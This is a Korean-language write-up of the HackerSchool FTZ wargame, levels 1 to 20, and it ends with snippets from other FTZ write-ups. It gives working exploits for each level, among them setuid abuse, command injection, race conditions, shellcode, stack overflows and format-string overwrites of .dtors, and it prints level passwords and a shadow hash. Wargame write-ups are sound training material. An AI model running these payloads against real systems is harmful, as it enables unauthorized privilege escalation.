Contents 1. 목적 풀이 Level

Size: px
Start display at page:

Download "Contents 1. 목적 풀이 Level"

Transcription

1 FTZ 풀이보고서 1

2 Contents 1. 목적 풀이 Level Level Level Level Level Level Level Level Level Level Level Level Level Level Level Level Level Level Level Level 마치며

3 1. 목적 본문서는 FTZ 문제를풀이보고서를작성함으로써복습과실력향상에의의를두었습니다. 그러므로기본적인내용은생략할것입니다. 초보분들이라면해커스쿨의 trainer 코스를추천해드리며 해킹공격의예술 과 shellcoder's handbook 이란책을추천해드립니다. // 리눅스환경은 redhat-release-9-3 입니다. ( 랜덤스택적용 ) *FTZ 란 Free Training Zone 의약자로써해커스쿨에서배포하는워게임입니다. 20 가지나되는문제 와여러가지기법을무료로트레이닝할수있는서버입니다. 2. 풀이 Level1 접속하자마자 hint 를보게되면 [level1@ftz level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. 파일을찾는명령어는 find 명령어로찾습니다. 유저이름을찾는옵션 user, 특정권한을찾아주는옵션 perm, 그리고오류메시지를없애주 는 2>/dev/null 리다이렉션명령어도붙여서찾아보겠습니다. [level1@ftz level1]$ find / -user level2 -perm >/dev/null /bin/executeme 찾은파일을실행해보면 3

4 레벨 2 의권한으로당신이원하는명령어를 한가지실행시켜드리겠습니다. ( 단, my-pass 와 chmod 는제외 ) 어떤명령을실행시키겠습니까? [level2@ftz level2]$ Setuid 로인해현재의권한은 level2 입니다. Level2 의권한을유지시키려면쉘을실행해주면됩 니다. [level2@ftz level2]$ sh sh-2.05b$ my-pass Level2 Password is "hacker or cracker". Level2 Hint 를보면 [level2@ftz level2]$ cat hint 텍스트파일편집중쉘의명령을실행시킬수있다는데... 파일을찾기위해 level1 과같은방법으로찾아보겠습니다. [level2@ftz level2]$ find / -user level3 -perm >/dev/null /usr/bin/editor /usr/bin/editor 을실행시켜보면 vim 파일이실행이됩니다. 이파일은지금 setuid 로인해소유자의권한으로실행돼있는상태입니다. 여기서쉘을실행시키 4

5 거나 my-pass 명령어를실행하면소유자의권한으로명령어가수행합니다. 어떻게 vim안에서쉘명령어를내릴수있을까요? 커맨드라인에서! 를이용하면쉘명령을내릴수있다고합니다. 그이유는 vim에서문서나코드를짜고있다가일이생겨저장후종료를한후명령어를내리고다시 vim실행시키고하기까다롭기때문입니다. :!sh 혹은 :!my-pass 을실행해주면완료 Level3 Password is "can you fly?". Level3 다음코드는 autodig 의소스이다. #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv){ char cmd[100]; if( argc!=2 ){ printf( "Auto Digger Version 0.9\n" ); printf( "Usage : %s host\n", argv[0] ); exit(0); strcpy( cmd, ); strcat( cmd, argv[1] ); strcat( cmd, " version.bind chaos txt"); system( cmd ); 5

6 이를이용하여 level4 의권한을얻어라. more hints. - 동시에여러명령어를사용하려면? - 문자열형태로명령어를전달하려면? 파일이름을알았으니옵션 name 을이용해서 autodig 를찾아봅시다. [level3@ftz level3]$ find / -name autodig 2>/dev/null /bin/autodig 일단 level4의권한을얻는걸목적으로하고소스를분석해봅시다. 인자를꼭하나만써야하고문자열함수로인해입력한인자를 인자 [1]+version.bind chaos txt 이러한문자열로바꾼후 system함수로위문자열을실행하게됩니다. system 함수로실행할문자열은 sh가좋은데어떻게하면좋을까요? 이는명령어를나눠주면서동시에실행시키는 ;( 세미콜론 ) 을입력해주면됩니다. 사실엄밀히말하면절차적으로실행됩니다. 그래서 ; 로나눠지면명령어가잘실행이안되니 으로묶어주면됩니다. [level3@ftz level3]$ /bin/autodig ";sh;" dig: Couldn't find server '': Name or service not known sh-2.05b$ my-pass Level4 Password is "suck my brain". Level4 [level4@ftz level4]$ cat hint 누군가 /etc/xinetd.d/ 에백도어를심어놓았다.! /etc/xinetd.d/backdoor 파일을열어보면 file명령어를사용해서확인해보면 ASCII text인걸확인할수있다. 파일을보면 6

7 xinetd.d]$ cat backdoor service finger { disable = no flags = REUSE socket_type = stream wait = no user = level5 server = /home/level4/tmp/backdoor log_on_failure += USERID xinetd데몬은네트워크서비스에대한접근제어를해준다고생각하면된다. 그에종속된프로그램은자체적으로소켓을열고리슨하고이러한작업을안해도된다. xinetd의가장큰특징은쉘을실행하면 xinetd로통신이계속되기때문에로컬에서오버플로우한것처럼해도연결이되있어서원격으로오버플로우가가능합니다. 또한 xinetd에등록한유저로쉘을실행하는걸로되니 setuid가없어도오버플로우가가능합니다. 위의글을보면 finger 서비스를 level5 권한으로 /home/level4/tmp/backdoor 실행되는것입니다. finger명령어는현재시스템에접속한사용자들의정보를 /etc/passwd읽어서보여주는명령어입니다. 이때두에 host명과 user명을입력하여원격으로사용자의정보를볼수있습니다. 이를이용하여백도어를실행해보겠습니다. /home/level4/tmp/backdoor #include <stdio.h> 란파일을만듭니다. int int main(){ main(){ system( my-pass ); 그런다음 finger 명령어를실행해주면완료. 7

8 tmp]$ finger ^[[H^[[J Level5 Password is "what is your name?". Level5 level5]$ cat hint /usr/bin/level5 프로그램은 /tmp 디렉터리에 level5.tmp 라는이름의임시파일을생성한다. 레이스컨디션문제입니다. 사전적인뜻으로는경쟁상태라는뜻이고둘이상의조작또는입력이동시에이루어지는상태를말합니다. 이를이용해서이번 level5를클리어해보겠습니다. 일단레이스컨디션을하려면조건이몇가지있습니다. 임시파일의정확한경로와파일이름이필요하고뭘실행했을때임시파일이생성되는지를알아야합니다. 이번힌트에서는이모든걸가리켜주니상당히편하게진행하게됩니다. 사실먼저 level5.tmp를만든후거기에심볼릭링크를이용하는방법도있지만정석적으로풀어보도록하겠습니다. 일단백그라운드에서 /usr/bin/level5를 10000번실행하는파일하나, 포어그라운드에서 10000번심볼릭링크를걸어주는파일하나를만든후동시에실행하면임시파일이심볼릭이걸린파일에다가내용을쓰고링크만끊어지도록됩니다. 바로진행해보겠습니다. #include <stdio.h> int main(){ int i; for(i=0;i<10000;i++){ system("/usr/bin/level5"); boom1 소스 //level5 를계속실행해줍니다. 8

9 #include <stdio.h> int main(){ int i; system("touch /tmp/moomoo.txt"); for(i=0;i<10000;i++);{ system("ln -sf /tmp/moomoo.txt /tmp/level5.tmp"); system("cat /tmp/moomoo.txt"); boom2 소스 // 임시파일과 moomoo.txt를링크시킵니다.. #!/usr/bin/env python import os os.system("/home/level5/tmp/boom1 &") os.system("/home/level5/tmp/boom2") boom 소스 (python) // 동시에 boom1 boom2를실행해줍니다. python boom.py를입력해주면레이스컨디션이발생하면서임시파일이남아있게됩니다. tmp]$ python boom.py next password : what the hell Level6 hint - 인포샵 bbs 의텔넷접속메뉴에서많이사용되던해킹방법이다. 접속하자마자힌트파일이뜹니다. 그후 9

10 ##################################### ## ## ## 텔넷접속서비스 ## ## ## ## ## ## 1. 하이텔 2. 나우누리 ## ## 3. 천리안 ## ## ## ##################################### 접속하고싶은 bbs 를선택하세요 : 이러한화면이뜨면서 bss를선택하라고한다. 정리해보면 level6계정으로접속하자마자힌트를띄우고 bss접속서비스로들어가게된다. 힌트메시지에서프로세스를강제적으로죽이면쉘화면으로돌아갈것이다. 방법은시그널에있다. 시그널이란아주간단한신호를프로세스와프로세스간혹은프로세스와사용자와소통을하기위한시그널입니다. 시그널은복잡한메시지는못하고직관적인메시지를날릴때사용하는데리눅스에도수십가지의 signal을제공합니다. 그런신호중에 kill신호가있는데 ctrl + c를입력해주면신호가발생됩니다. sigkill 신호를보낸후 password 파일을확인해보면클리어됩니다. [level6@ftz level6]$ ls hint password public_html tmp tn [level6@ftz level6]$ cat password Level7 password is "come together". Level7 /bin/level7 명령을실행하면, 패스워드입력을요청한다. 1. 패스워드는가까운곳에.. 2. 상상력을총동원하라. 3. 2진수를 10진수를바꿀수있는가? 4. 계산기설정을공학용으로바꾸어라. 10

11 /bin/level7 을실행해보니입력창이나오는데일단 asdf 를입력해보겠습니다. level7]$ /bin/level7 Insert The Password : asdf 올바르지않은패스워드입니다. 패스워드는가까운곳에... --_--_ _- -- -_- 힌트와조합해서생각해보겠습니다. 키워드만나열해보면 2진수가까운곳공학용정도인데감이딱오는게저이상한암호문처럼보이는문자열입니다. 이문자열의하이픈이 1 언더바가 0이라가정해서암호를풀어서 password를입력해보겠습니다. --_--_ _- -- -_- > > 잘보면 2진수가 7칸입니다. 7bit하면떠오르는것은아스키코드입니다. 아스키코드로변환해보면 mate라는문자열이나옵니다. [level7@ftz level7]$ /bin/level7 Insert The Password : mate Congratulation! next password is "break the world". Level8 level9 의 shadow 파일이서버어딘가에숨어있다. 그파일에대해알려진것은용량이 "2700" 이라는것뿐이다. find명령어의옵션 size를이용해서찾아보겠습니다. -size 옵션은뒤에숫자 + 접미사 (bckw) 를붙여서사용합니다. 용량 2700이바이트인지킬로바이트인지모르니하나하나붙여서검색해보겠습니다. // 접미사 b 512byte블록, c bytes, k kilobytes, w 2byte word (man page 참고 ) 11

12 level8]$ find / -size 2700c 2>/dev/null /var/www/manual/ssl/ssl_intro_fig2.gif /etc/rc.d/found.txt 수상함. /usr/share/man/man3/io::pipe.3pm.gz /usr/share/man/man3/uri::data.3pm.gz 검색을하는도중수상한파일을발견했습니다. [level8@ftz level8]$ cat /etc/rc.d/found.txt level9:$1$vky6sslg$6ryuxtnmevgsfy7xf0wps.:11040:0:99999:7:-1:-1: level9:$1$vky6sslg$6ryuxtnmevgsfy7xf0wps.:11040:0:99999:7:-1:-1: level9:$1$vky6sslg$6ryuxtnmevgsfy7xf0wps.:11040:0:99999:7:-1:-1: ( 중략 ) 열어보니 level9 의 shadow 파일입니다. 이를이용해서 shadow 크랙으로유명한존더리퍼로 크랙해보면 apple 이란것을알수있습니다. 12

13 Level9 다음은 /usr/bin/bof 의소스이다. #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(){ char buf2[10]; char buf[10]; printf("it can be overflow : "); fgets(buf,40,stdin); if ( strncmp(buf2, "go", 2) == 0 ){ printf("good Skill!\n"); setreuid( 3010, 3010 ); system("/bin/bash"); 이를이용하여 level10 의권한을얻어라. 드디어 buffer overflow 문제이다. 소스를보면 buf2에 go란문자열이있는지비교해보고참이면권한을 level10으로바꿔준후쉘을얻는파일이다.buf에서문자열을채워서 buf2에 go를입력해주면되는데권한때문에 gdb ltrace 등등안되기때문에그리큰버퍼가아니니일일이쳐서확인해보겠습니다. // 위소스를복사해서하면됩니다만추측이쉬운문제이기때문에생략합니다. [level9@ftz level9]$ /usr/bin/bof It can be overflow : asdfasdfasdfasdfgo Good Skill! [level10@ftz level9]$ my-pass Level10 Password is "interesting to hack!". 13

14 Level10 두명의사용자가대화방을이용하여비밀스런대화를나누고있다. 그대화방은공유메모리를이용하여만들어졌으며, key_t의값은 7530이다. 이를이용해두사람의대화를도청하여 level11의권한을얻어라. - 레벨을완료하셨다면소스는지우고나가주세요. 키워드로정리해보면 공유메모리, key_t = 7530, 도청입니다. 공유메모리란여러프로세스가함께사용하는메모리를말합니다. 이공유메모리를이용하면프로세스끼리통신을할수있으며같은데이터를공유할수있습니다. 메모리를같이사용하기위해서는공유메모리를생성한후프로세스의자신의영역에첨부를한후마치자신의메모리를사용하듯사용하면됩니다. key_t는공유메모리식별 key입니다. 위의두정보와공유메모리함수 shmget(), shmat() 를이용해서도청을해보겠습니다. // 공유메모리정보 // 일단 ipcs 명령어로공유메모리의상황을보겠습니다. [level10@ftz level10]$ ipcs Shared Memory Segments key shmid owner perms bytes nattch status 0x00001d6a 0 root Semaphore Arrays key semid owner perms nsems Message Queues key msqid owner perms used-bytes messages 14

15 메모리의 key 와크기까지알았습니다. (0x1d6a ==7530 ) c 프로그래밍으로공유메모리에연결해보겠습니다. #include <sys/ipc.h> #include <sys/shm.h> #include <unistd.h> int main(){ int shmid; long shared_memory; int key_t=7530; shmid = shmget(key_t, 1028, IPC_CREAT); shared_memory=shmat(shmid, 0, SHM_RDONLY); printf("%s\n",shared_memory); boom 소스 [level10@ftz tmp]$./boom 멍멍 : level11의패스워드는? 구타 : what!@#$? Level11 #include <stdio.h> #include <stdlib.h> int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); 15

16 힌트를보면이러한소스가나와있다. 소스를분석해보면노골적으로 buffer overflow 취약점과 format string bug가있습니다. 둘다상당히중요한공격이기때문에이번문제는각각의취약점을이용해서 2번풀것입니다. 시스템해킹에입문을하면처음으로느끼는벽이바로스택, 어셈블리입니다. 이과정에서효과적으로공부하는방법은스스로쉘코드를만드는것이가장좋다고생각합니다. 쉘코드를만드는법은관련링크와예제를남기고생략하고바로문제풀이나가겠습니다. 이문서를본후.globl main main: xor %eax, %eax push %eax push $0x68732f2f /bin//sh 리틀엔디안적용, 8bit맞춤 push $0x6e69622f mov %esp, %ebx push %eax push %ebx mov %esp, %ecx mov %eax, %edx movb $0x0b, %al int $0x80 // 이코드를직접짜보면서좀더깊게생각해보면좋습니다.. 그럼 level11 문제를 buffer overflow로풀어보겠습니다. 일단 attackme 파일은 setuid가걸려있습니다. setuid가걸려있어서 gdb로분석하는게불가능하지만읽기권한이있기때문에 cp로복사해서 gdb로분석해보면됩니다. 이때주의할것은복사한파일명길이를똑같이복사해야합니다. 분석할오차를줄이기때문입니다. 16

17 일단 strcpy 다음부분에브포를걸고문자열을적당히집어넣어보겠습니다. (gdb) b *main+53 Breakpoint 1 at 0x80484a5 (gdb) r `python -c 'print "\x41"*100'` Starting program: /home/level11/tmp/atta `python -c 'print "\x41"*100'` 그다음문자열이들어간주소를확인하고 ret 와의거리를알아보겠습니다. (gdb) x/8x $esp 0xbffff7e0: 0xbffff7f0 0xbffffad6 0xbffff810 0x xbffff7f0: 0x x x x (gdb) p $ebp-0xbffff7f0+4 $1 = (void *) 0x10c (gdb) p 0x10c $2 = 268 ret와의거리는 268인걸알았습니다. 그럼 ret주소를 /bin/sh 을실행시키는쪽으로흐름조절을해주면쉘을따내게됩니다. 하지만랜덤스택이적용되있기때문에한큐에 bof를성공하기어렵습니다. 그러면어떻게해야할까요? 불행중다행으로랜덤스택이완벽한랜덤스택이아닙니다. 스택의상단에환경변수주소들이모여있는데이주소는랜덤하지않기때문에이주소를이용해서공격해보겠습니다. [level11@ftz tmp]$ export moomoo=`python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x5 0\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` [level11@ftz level11]$ /tmp/moomoo moomoo's address at 0xbffffda1 환경변수추가후 getenv() 를이용해서환경변수주소를찾았습니다. 17

18 level11]$./attackme `python -c 'print "\x90"*268+"\xa1\xfd\xff\xbf"'` 세그멘테이션오류 level11]$./attackme `python -c 'print "\x90"*268+"\xb1\xfd\xff\xbf"'` sh-2.05b$ my-pass TERM environment variable not set. Level12 Password is "it is like this". 환경변수를넉넉하게 \x90를넣어주는이유가조금의오차가날수도있기때문입니다. 끝부분만약간수정하니성공했습니다. 이번에는 format string bug를이용해서풀어보겠습니다. format string bug란 printf(str) 같이포맷을지정하지않을때발생하는버그입니다. format string bug를하려면.dtors를이용해야하는데.dtors란소멸자들의리스트를저장한곳입니다. 소멸자는메인함수가끝난후호출되는것들의모임입니다. 소멸자에환경변수를등록하면메인함수가끝난후쉘코드를실행하여쉘을획득하는겁니다. 일단.dtors의주소를확인합니다. level11]$ objdump -h./attackme grep.dtors 18.dtors c c c 2**2.dtors 는소멸자의리스트입니다. 그러므로.dtors 의주소 +4 부터소멸자들이있습니다. (0x ) 소멸자주소에환경변수를 %hn 형식을이용하여 2byte 씩저장하겠습니다. level11]$./attackme `python -c 'print "AAAA\x12\x96\x04\x08BBBB\x10\x96\x04\x08"+"%8x%8x%8x"+"%49111c%hn"+"%15 794c%hn"'` byte ->0xbfff byte ->0xfdb1 sh-2.05b$ my-pass TERM environment variable not set. Level12 Password is "it is like this". 18

19 Level12 #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( " 문장을입력하세요.\n" ); gets( str ); printf( "%s\n", str ); level11 과같은문제이지만입력값을 argv[1] 이아닌내부입력값으로처리하는게다릅니다. 어 차피 level11 과같은변수크기이니 level11 과같은페이로드를써도됩니다. [level12@ftz level12]$ (python -c 'print "\x90"*268+"\xb1\xfd\xff\xbf"';cat)./attackme 문장을입력하세요.???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? 깰 내부입력값으로오버플로우하는방법을요구하는문제라고생각합니다. 여기서문제가성공적 으로오버플로우가되도입력값을요구하는것처럼커서가그대로입니다. 당황하지말고 mypass 를입력하시면됩니다. my-pass TERM environment variable not set. Level13 Password is "have no clue". 19

20 Level13 #include <stdlib.h> main(int argc, char *argv[]) { long i=0x ; char buf[1024]; setreuid( 3094, 3094 ); if(argc > 1) strcpy(buf,argv[1]); if(i!= 0x ) { printf(" Warnning: Buffer Overflow!!! \n"); kill(0,11); 스택가드가소스상으로구현된문제입니다. 오버플로우시 i 변수를주의해서 ret 까지덮어준다면 문제없습니다. (gdb) b *main+66 Breakpoint 1 at 0x80484e2 (gdb) r `python -c 'print "A"*100'` Starting program: /home/level13/tmp/atta `python -c 'print "A"*100'` Breakpoint 1, 0x080484e2 in main () (gdb) x/8x $esp 0xbfffe1c0: 0xbfffe1d0 0xbffffbbf 0x x xbfffe1d0: 0x x x x (gdb) p $ebp-0xbfffe1d0+4 $1 = (void *) 0x41c (gdb) p 0x41c $2 = 1052 buf[1024] 와 ret 사이의거리를구했습니다. 20

21 0x080484e2 <main+66>: add $0x10,%esp 0x080484e5 <main+69>: cmpl $0x ,0xfffffff4(%ebp) 0x080484ec <main+76>: je 0x804850d <main+109> gdb 로 cmpl 을주의해서보면 i 변수의위치를알수있습니다. 0xfffffff4->- 0xc [level13@ftz level13]$ /tmp/moomoo moomoo's adddress at 0xbffffda 환경변수 ( 오차조금있음 ) [level13@ftz level13]$./attackme `python -c 'print "\x90"*( )+"\x67\x45\x23\x01"+"\x90"*12+"\xb1\xfd\xff\xbf"'` // 여기서 -16인이유는 ebp를포함했기때문. 즉, ret까지계산했기때문입니다. sh-2.05b$ my-pass TERM environment variable not set. Level14 Password is "what that nigga want?". ebp 기준 -16 에서 0x 을덮은후그대로오버플로우시켰습니다. Level14 #include <stdio.h> #include <unistd.h> main() { int crap; int check; char buf[20]; fgets(buf,45,stdin); if (check==0xdeadbeef) { setreuid(3095,3095); system("/bin/sh"); 21

22 check 변수에 0xdeadbeef 가들어있다면쉘을실행하는문제입니다. buf[20] 에서입력값을받는데 check 의위치를잘파악하면쉽게풀수있는문제입니다. 0x080484a1 <main+17>:lea 0x080484a4 <main+20>:push 0x080484a5 <main+21>:call 0xffffffc8(%ebp),%eax %eax 0x <fgets> 이부분을잘보니 buf 의위치를알겠습니다. 0xffffffc8 -> -0x38 -> -56 입니다. 0x080484aa <main+26>: add $0x10,%esp 0x080484ad <main+29>: cmpl $0xdeadbeef,0xfffffff0(%ebp) 0x080484b4 <main+36>: jne 0x80484db <main+75> cmpl 을보면비교하는위치를알았습니다. 즉, check 의위치를알았다는거죠. 0xfffffff0 -> -0x10 -> -16 level14]$ (python -c 'print "\x90"*(56-16)+"\xef\xbe\xad\xde"';cat)./attackme my-pass Level15 Password is "guess what". 22

23 Level15 #include <stdio.h> main() { int crap; int *check; char buf[20]; fgets(buf,45,stdin); if (*check==0xdeadbeef) { setreuid(3096,3096); system("/bin/sh"); level14와다른점은 *check란점입니다. 그지어렵지않습니다. 소스상에 deadbeef가있으니이걸힌트삼아 gdb로분석하면풀수있는문제입니다. 0x080484ad <main+29>: mov 0xfffffff0(%ebp),%eax (ebp) 0x080484b0 <main+32>: cmpl $0xdeadbeef,(%eax) 0x080484b6 <main+38>: jne 0x80484dd <main+77> (%eax) 가먼지알면풀수있습니다. 그럼브포를걸어서코드세그먼트부분을찾아보겠습니다. (gdb) x/x 0x80484b0 0x80484b0 <main+32>: 0xbeef3881 (gdb) x/x 0x80484b2 0x80484b2 <main+34>: 0xdeadbeef 이런식으로찾을수있습니다. level 14 와구성은같으니바로공격하면되겠습니다. 23

24 level15]$ (python -c 'print "\x90"*(56-16)+"\xb2\x84\x04\x08"';cat)./attackme my-pass Level16 Password is "about to cause mass". Level16 #include <stdio.h> void shell() { setreuid(3097,3097); system("/bin/sh"); void printit() { printf("hello there!\n"); main() { int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); call(); 오버플로우로 void (*call)=printit 부분을 shell() 로흐름을조작해주면되겠습니다. 알아야할건 (*call) 의위치와 shell() 의주소입니다. [level16@ftz level16]$ nm./attackme grep shell d0 T shell shell 의주소를알아냈습니다. 24

25 0x <main+24>: lea 0xffffffc8(%ebp),%eax (%ebp) 0x <main+27>: push %eax 0x <main+28>: call 0x <fgets> 0x <main+33>: add $0x10,%esp 0x c <main+36>: mov 0xfffffff0(%ebp),%eax (%ebp) 0x f <main+39>: call *%eax 알아야할정보는다알았습니다. 바로공격들어가보겠습니다. level16]$ (python -c 'print "\x90"*(56-16)+"\xd0\x84\x04\x08"';cat)./attackme my-pass Level17 Password is "king poetic". Level17 #include <stdio.h> void printit() { printf("hello there!\n"); main() { int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); setreuid(3098,3098); call(); *call() 함수포인터를돌려놓을때가없습니다. 그래서환경변수에쉘코드를올려놓고흐름을조작 25

26 하겠습니다. level17]$ export moomoo=`python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x5 0\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` level17]$ /tmp/moomoo moomoo's address at 0xbffffda1 환경변수를올려놓습니다. 0x080484be <main+22>: push $0x30 0x080484c0 <main+24>: lea 0xffffffc8(%ebp),%eax (%ebp) 0x080484c3 <main+27>: push %eax 0x080484de <main+54>: add $0x10,%esp 0x080484e1 <main+57>: mov 0xfffffff0(%ebp),%eax <- -16(ebp) 0x080484e4 <main+60>: call *%eax buf[20] 의위치와 *call() 의위치를알았습니다. level17]$ (python -c 'print "\x90"*(56-16)+"\xb1\xfd\xff\xbf"';cat)./attackme my-pass TERM environment variable not set. Level18 Password is "why did you do it". 26

27 Level18 #include <stdio.h> #include <sys/time.h> #include <sys/types.h> #include <unistd.h> void shellout(void); int main() { char string[100]; int check; int x = 0; int count = 0; fd_set fds; printf("enter your command: "); fflush(stdout); while(1) { if(count >= 100) printf("what are you trying to do?\n"); if(check == 0xdeadbeef) shellout(); else { FD_ZERO(&fds); FD_SET(STDIN_FILENO,&fds); if(select(fd_setsize, &fds, NULL, NULL, NULL) >= 1) { if(fd_isset(fileno(stdin),&fds)) { read(fileno(stdin),&x,1); switch(x) { case '\r': case '\n': 27

28 printf("\a"); break; case 0x08: count--; printf("\b \b"); break; default: string[count] = x; 여기입니다. count++; break; void shellout(void) { setreuid(3099,3099); execl("/bin/sh","sh",null); 소스가길지만일단 check == 0xdeadbeef를보면조금안심이됩니다. 이문제의요구는포인터의연산을아니냐모르느냐를물어보는것입니다. 모두가알다시피 +1이되면포인터의형태에맞게 +4,+1 혹은 +2 이렇게이동할겁니다. 하지만 -1이라면어떨까요? 역시 -4,-1 혹은 -2 이동합니다. 이것을알았다면순식간에풀리는문제입니다. switch문에서 string[count] 를잘봅시다. count가 -1로되면 check의끝부분을가리키는겁니다. 한번에 -4를하고 deadbeef를입력하면됩니다. [level18@ftz level18]$ (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat)./attackme Enter your command: my-pass Level19 Password is "swimming in pink". 28

29 Level19 main() { char buf[20]; gets(buf); printf("%s\n",buf); 오버플로우의취약점이존재하지만권한을상승시켜주는구문이없습니다. 사실 level1 부터지금까지 setreuid() 함수가권한을조정해주었습니다. 이때까지 setuid의역할때문이라고생각했습니다. 뭐가어떻게된걸까요? 이는 setuid의권한으로쉘을실행시키면자체적으로권한은낮춰버리기때문입니다. 그러므로 setreuid() 로강제적으로권한을상승시킨겁니다. 쉘코드를만들어보겠습니다. 0x46 setreuid(), 0x31 geteuid().globl main main: xor %eax, %eax movb $0x31, %al int $0x80 mov %eax, %ebx mov %eax, %ecx xor %eax, %eax movb $0x46, %al int $0x80 xor %eax, %eax push %eax push $0x68732f2f push $0x6e69622f mov %esp, %ebx push %eax push %ebx mov %esp, %ecx mov %eax, %edx movb $0x0b, %al int $0x80 29

30 버퍼의거리를구해보겠습니다. 0x <main+21>: sub $0x8,%esp 0x <main+24>: lea 0xffffffd8(%ebp),%eax <- -40(ebp) 0x b <main+27>: push %eax 쉘코드를환경변수에넣고공격해보겠습니다. tmp]$ export moomoo=`python -c 'print "\x90"*200+"\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x 80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89 \xe1\x31\xd2\xb0\x0b\xcd\x80"'` tmp]$ /tmp/moomoo moomoo's address at 0xbffffd8d 쉘코드위치확인 ( 약간의오차있음 ) [level19@ftz level19]$ (python -c 'print "\x90"*44+"\x00\xfe\xff\xbf"';cat)./attackme???????????????????????????????????????????? my-pass TERM environment variable not set. Level20 Password is "we are just regular guys". 30

31 Level20 #include <stdio.h> main(int argc,char **argv) { char bleh[80]; setreuid(3101,3101); fgets(bleh,79,stdin); printf(bleh); printf(bleh) 를보면포맷스트링버그가있다는것을알수있습니다. 포맷스트링버그란형식을지정해주지않아생기는버그입니다. (%d %p %s ) 포맷스트링버그의일반적인스택가드나 canary 를우회할수있다는점입니다. level11 번에했던데로해보겠습니다. 그전에 shellcoder s handbook 에서나온아주좋은팁이있습니다. for((i=0; i<200; i++)); do echo "Index $i" &&./formatstring "AAAAAA%$i\$x"; done grep -B 이걸기본토대로사용하면쉽게문자열을찾을수있습니다. 하지만이번문제에서는내부입력값이라못쓰네요. 일일이찾아보겠습니다. [level20@ftz level20]$ (python -c 'print "AAAA"+".%8x"*10';cat)./attackme AAAA. 4f.4212ecc0.4207a e e e e e e 그래도금방찾아지네요. 적은버퍼라다행입니다..dtors 주소를찾겠습니다. [level20@ftz level20]$ objdump -h./attackme grep dtors 18.dtors **2 0x 에다가환경변수를올려놓아서공격하겠습니다. 31

32 level20]$ (python -c 'print "AAAA\x9a\x95\x04\x08BBBB\x98\x95\x04\x08"+"%8x"*3+"%49111c%hn"+"%15794c %hn"';cat)./attackme = = my-pass TERM environment variable not set. clear Password is "i will come in a minute". 웹에서등록하세요. * 해커스쿨의든레벨을통과하신것을축하드립니다. 당신의끈질긴열정과능숙한솜씨에찬사를보냅니다. 해커스쿨에서는실력있분들을모아연구소라는그룹을운영하고있습니다. 이메시지를보시는분들중에연구소에관심있으신분은자유로운양식의가입신청서를 admin@hackerschool.org로보내주시기바랍니다. 3. 마치며 FTZ을너무많이풀어서제한시간을두고빨리푸는것도해보고 FTZ를기준으로가지를쳐나가면서공부를했던저에겐감사한워게임입니다. 하지만시간이지나면그마저도까먹고마네요. 이렇게글로써남겨앞으로복습할때더도움이되라고남겨봅니다. 32

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u HackerSchool WarGame 풀이 Written by StolenByte http://stolenbyte.egloos.com - 1 - Level 1. Trivial [level1@ftz level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. [level1@ftz level1]$ find / -user level2 2>/dev/null

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

PowerPoint 프레젠테이션

